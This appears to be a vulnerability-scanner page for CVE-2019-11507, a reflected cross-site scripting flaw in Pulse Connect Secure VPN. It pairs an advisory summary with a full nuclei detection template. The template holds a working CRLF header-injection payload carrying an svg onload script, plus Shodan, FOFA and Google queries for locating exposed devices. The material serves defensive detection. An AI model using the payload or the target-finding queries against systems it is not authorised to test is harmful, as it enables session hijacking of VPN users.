Pulse Secure Pulse Connect Secure - Cross-Site Scripting (Reflected)

mediumseverity

6.1CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Pulse Secure Pulse Connect Secure (PCS) 8.3.x before 8.3R7.1 and 9.0.x before 9.0R3 contain a reflected cross-site scripting caused by insufficient sanitization on the Application Launcher page, letting attackers execute scripts in the context of the affected page, exploit requires victim to visit a malicious link.

Impact

Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.

Fix

Update to version 8.3R7.1 or 9.0R3 or later.

How to confirm it

Send: GET /dana-na/auth/url_default/welcome.cgi
Positive when: status_code == 200 and contains(body, "xsauth_token")
Send: POST /dana-na/auth/url_default/login.cgi ; GET /dana/home/cts_get_ica.cgi?bm_id=x&vdi=1&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.doma…
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<svg/onload=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2019-11507 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-11507

info:
  name: Pulse Secure Pulse Connect Secure - Cross-Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    Pulse Secure Pulse Connect Secure (PCS) 8.3.x before 8.3R7.1 and 9.0.x before 9.0R3 contain a reflected cross-site scripting caused by insufficient sanitization on the Application Launcher page, letting attackers execute scripts in the context of the affected page, exploit requires victim to visit a malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 8.3R7.1 or 9.0R3 or later.
  reference:
    - https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11507
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-11507
    epss-score: 0.03797
    epss-percentile: 0.90088
    cwe-id: CWE-79
    cpe: cpe:2.3:a:ivanti:connect_secure:8.3:r1:*:*:*:*:*:*
  metadata:
    verified: false
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - http.html:"welcome.cgi?p=logo"
      - http.title:"ivanti connect secure"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: cve,cve2019,pulsesecure,xss,vkev,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "xsauth_token")'
        condition: and
        internal: true

    extractors:
      - type: regex
        group: 1
        name: "xsauth_token"
        regex:
          - 'name="xsauth_token" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /dana-na/auth/url_default/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tz_offset=330&clientMAC=&xsauth_token={{xsauth_token}}&username={{username}}&password={{password}}&realm=Users&btnSubmit=Sign+In

      - |
        GET /dana/home/cts_get_ica.cgi?bm_id=x&vdi=1&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from